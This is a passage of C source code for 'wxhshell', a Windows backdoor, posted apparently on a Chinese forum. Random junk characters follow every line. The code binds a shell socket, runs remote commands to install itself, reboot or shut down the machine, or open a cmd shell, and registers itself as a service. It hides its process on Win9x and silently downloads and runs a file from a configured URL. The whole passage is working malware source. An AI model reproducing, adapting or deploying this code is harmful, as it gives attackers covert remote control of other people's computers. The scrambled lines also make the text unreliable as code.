    switch(cmd[0]) { O]1aez[  
  -Uj3?W  
  // 帮助 )8_ x  
  case '?': { Q)s`~G({P  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); phc9esz  
    break; JNx;/6'd,  
  } 3~ptD5@WF  
  // 安装 nf2[hx@=U  
  case 'i': { $xK*TJ(k  
    if(Install()) =-dg]Ol8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l |Y?]LNr  
    else N!Cy)HnS\w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8-_\Q2vG  
    break; r9vO(m~  
    } rG t/ /6  
  // 卸载 6!|/(~  
  case 'r': { 7jzd I!  
    if(Uninstall()) kp=wz0#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?]]7PEee*  
    else 9e _8Z@|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  Qk)E:  
    break; aS3Fvk0R{h  
    } 1Y6DzWI  
  // 显示 wxhshell 所在路径 [vNaX%o  
  case 'p': { (j%;)PTe+&  
    char svExeFile[MAX_PATH]; B*AF8wX|  
    strcpy(svExeFile,"\n\r"); <fm<UO,%  
      strcat(svExeFile,ExeFile); 6qF9+r&e ?  
        send(wsh,svExeFile,strlen(svExeFile),0); '<!T'l:R:/  
    break; wj$WE3Y  
    } 4COo~d  
  // 重启 hVl^vw7o  
  case 'b': { tYzpL   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2l.qINyz  
    if(Boot(REBOOT)) Fs 95^T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d# >iFD+  
    else { 6%\&m|S  
    closesocket(wsh); C8bB OC(  
    ExitThread(0); iAn]hVW  
    } %h^ f?.(:  
    break; NN"!kuM  
    } k@=w? m  
  // 关机 '>U&B}  
  case 'd': { c>)_I  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _!:*&{  
    if(Boot(SHUTDOWN)) 4.&hV?Kxz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C'S&  
    else { DRy,n)U&  
    closesocket(wsh);  jT$  
    ExitThread(0); ,+U,(P5>s  
    } 2)4oe  
    break; ELgq#z  
    } ~^ ^|]s3  
  // 获取shell Pu`;B  
  case 's': { 3j} @}2D  
    CmdShell(wsh); '(-SuaH49  
    closesocket(wsh); )W0z  
    ExitThread(0); w\{oOlE  
    break; 56l1&hp8In  
  } NzAMX+L  
  // 退出 VPI;{0kh  
  case 'x': { w\`u |f;Aq  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); < /\y<]b  
    CloseIt(wsh); t` f.HJe  
    break; Re]7G.y  
    } y=q iGi[Nc  
  // 离开 -d8U Hc  
  case 'q': { 2r*Yd(e  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .{ -C*  
    closesocket(wsh); N^@aO&+A  
    WSACleanup(); \ QE?.Fx  
    exit(1); :@c\a99Kx  
    break; *L+)R*|:&  
        } $PbwC6>8  
  } KOYcT'J@vR  
  } Nt/#Qu2#br  
kW.it5Z#  
  // 提示信息 i&',g  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `44 }kkBT  
} U{|WN7Q:A  
  } r{ }&* Y  
%DIZgPd\  
  return; jFPD SR5  
} "inXHxqu/J  
:+Okv$v4  
// shell模块句柄 k:sFI @g  
int CmdShell(SOCKET sock) (N/KP+J$n  
{ SXF~>|h5<  
STARTUPINFO si; c_dg/ !Iu  
ZeroMemory(&si,sizeof(si)); ^R;rrn{^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xp;CYr"1}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; uYy&<_r  
PROCESS_INFORMATION ProcessInfo; nAY'1!Oi  
char cmdline[]="cmd"; l 4e`-7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); M~"93Q`f^  
  return 0; ? ht;ZP  
} P(Wr[lH\y  
x2@W,?oPm  
// 自身启动模式 QsC6\Gt#  
int StartFromService(void)  _7P#?:h  
{ rFl6xM;F  
typedef struct n[tES6u  
{ H;k-@J  
  DWORD ExitStatus; 9S! 2r  
  DWORD PebBaseAddress; #a|.cm>6  
  DWORD AffinityMask; '~;vp  
  DWORD BasePriority; S :%SarhBD  
  ULONG UniqueProcessId; *fg|HH+i  
  ULONG InheritedFromUniqueProcessId; H=1Jq  
}   PROCESS_BASIC_INFORMATION; XPd@>2  
p*OpO&oodu  
PROCNTQSIP NtQueryInformationProcess; gkRbb   
J%SuiT$L&Y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qEy]Rc%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; } Rs@  
\Zbi`;m?  
  HANDLE             hProcess; Im<(  
  PROCESS_BASIC_INFORMATION pbi; V+- ]txu|  
ON q=bI*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *Iir/6myM  
  if(NULL == hInst ) return 0; Aat-938FP6  
#s]'2O  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lVR a{._m  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Kh,zp{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1?hx/02  
%9Y3jB",2  
  if (!NtQueryInformationProcess) return 0; dRu|*s  
G ;fc8a[X  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {-Q=YDR  
  if(!hProcess) return 0; Trz41g  
"o6a{KY(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ux=0N]lc  
A$;"9F@  
  CloseHandle(hProcess); ),;O3:n  
8DO3L "  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;[R#:Rk  
if(hProcess==NULL) return 0; [Z$E^QAP  
\\{+t<?J  
HMODULE hMod; RZrQ^tI3"  
char procName[255]; Y24H` s1u/  
unsigned long cbNeeded; OS7^S1r-  
E whCX'Vaj  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +%: /!T@@  
6-!U\R2Z>  
  CloseHandle(hProcess); Z(0sMOaX  
GiGXV @dq  
if(strstr(procName,"services")) return 1; // 以服务启动 .]D7Il  
#Rx|oSc}  
  return 0; // 注册表启动 iwS55o  
} |z%:{  
}VI}O{  
// 主模块 7ElU5I<S  
int StartWxhshell(LPSTR lpCmdLine) 2ms@CQy(00  
{ zc#$hIi  
  SOCKET wsl; DSX.84  
BOOL val=TRUE; OD~B2MpM>  
  int port=0; x!R pRq9  
  struct sockaddr_in door;  SE;Yb'  
2?./S)x)  
  if(wscfg.ws_autoins) Install(); || 0n%"h>i  
<yw(7  
port=atoi(lpCmdLine); K|^'`FpPO  
/@qnEP%  
if(port<=0) port=wscfg.ws_port; 5kbbeO|0G  
W< sa6,$  
  WSADATA data; (W'.vEl  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; RjW< H6a"K  
I/V lH:o  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   EnD }|9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .{ +Ob i  
  door.sin_family = AF_INET; #'lqE)T  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |jT^[q(z  
  door.sin_port = htons(port); 9f U,_`r  
l Taw6;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <]e0TU?bk  
closesocket(wsl); 3d81]!n  
return 1; 6xq/  
} jSc!"Trl]  
vWpoaz/w  
  if(listen(wsl,2) == INVALID_SOCKET) { e$=UA%  
closesocket(wsl); H)VzPe#{  
return 1; NuQ l  
} <)am]+Lswy  
  Wxhshell(wsl); W0_ pO  
  WSACleanup(); 7ea<2va,  
\:vHB!2E  
return 0; @eOD+h'  
) u Sg;B4  
} q"C(`S.@  
i$ CN{c*  
// 以NT服务方式启动 7>,(QHl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) o.|P7{v}  
{ uzgQ_  
DWORD   status = 0; JDp{d c  
  DWORD   specificError = 0xfffffff; yMVlTO  
#|R#/Yc@Bv  
  serviceStatus.dwServiceType     = SERVICE_WIN32; kACgP!~/1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; sjIUW$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .,+TpP kc  
  serviceStatus.dwWin32ExitCode     = 0; %!X9>i>  
  serviceStatus.dwServiceSpecificExitCode = 0; [3|&!:4g6  
  serviceStatus.dwCheckPoint       = 0; rO3.%B}  
  serviceStatus.dwWaitHint       = 0; ^T&@(|o  
[QZ g=."  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); LfsqtQ=J`  
  if (hServiceStatusHandle==0) return; aTLu7C\-e  
INjr$'*  
status = GetLastError(); 8;\  
  if (status!=NO_ERROR) K~6,xZlDWM  
{ rU!QXg]uD  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4#"_E:;PQ  
    serviceStatus.dwCheckPoint       = 0; HY!R|  
    serviceStatus.dwWaitHint       = 0; ky#5G-X  
    serviceStatus.dwWin32ExitCode     = status; 734f &2  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0s'h2={iI  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); bpgvLZb>s  
    return; z}z 6Vg  
  } s:ZYiZ-  
k3yA*Ec  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =9yh<'583  
  serviceStatus.dwCheckPoint       = 0; M%(^GdI#Vf  
  serviceStatus.dwWaitHint       = 0; #ExNiFZ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xP+`scv*m#  
} *l{GD1ZDk  
}p|S3/G?$!  
// 处理NT服务事件,比如:启动、停止 #X t|"Z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) I6-.;)McO  
{ v1O1-aM  
switch(fdwControl) :}*   
{ sFbN)Cx  
case SERVICE_CONTROL_STOP: <N'v-9=2jl  
  serviceStatus.dwWin32ExitCode = 0; *'to#_n&W  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; D`NPU  
  serviceStatus.dwCheckPoint   = 0; A2 9R5  
  serviceStatus.dwWaitHint     = 0; dtx3;d<NsJ  
  { X%rsa7H3J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); euiP<[|h=  
  } !fmbm4!a  
  return; j/p1/sJ[y  
case SERVICE_CONTROL_PAUSE: PX/7:D?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %iR"eEE  
  break; fK{m7?V  
case SERVICE_CONTROL_CONTINUE: ^g SZzJ5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  $+  
  break; r\T'_wo  
case SERVICE_CONTROL_INTERROGATE: /nWBol,  
  break; SUC'o"  
}; -qqI @+u+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f"RS,]  
} 4..M *U  
[JVEKc ym  
// 标准应用程序主函数 E! GH$%:;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) J~.`  
{ v8l3{qq  
cXod43  
// 获取操作系统版本 \)`OEGdOR\  
OsIsNt=GetOsVer(); ko{7^]gR  
GetModuleFileName(NULL,ExeFile,MAX_PATH); U[EZ, 7n8  
^V7'S<  
  // 从命令行安装 c:I %jm  
  if(strpbrk(lpCmdLine,"iI")) Install(); giYlLJA*}  
r t0_[i  
  // 下载执行文件 l=PZlH y1G  
if(wscfg.ws_downexe) { 0PD=/fh[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _)kTlX:,  
  WinExec(wscfg.ws_filenam,SW_HIDE); U!i1~)s  
} ]_(J8v  
uL{CUt  
if(!OsIsNt) { /*2)|2w  
// 如果时win9x,隐藏进程并且设置为注册表启动 IqAML|C  
HideProc(); [9^lAhX  
StartWxhshell(lpCmdLine); ("KtJ  
} Bwl@Muw  
else 6UKZ0~R  
  if(StartFromService()) Jo''yrJpB  
  // 以服务方式启动 Ji4JP0  
  StartServiceCtrlDispatcher(DispatchTable); 8I[=iU7]l  
else Ef$a&*)PH  
  // 普通方式启动 FD al;T  
  StartWxhshell(lpCmdLine); Ggk#>O G  
`0, G' F  
return 0; t>! Ok  
}
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只看该作者 1 发表于: 2006-10-10
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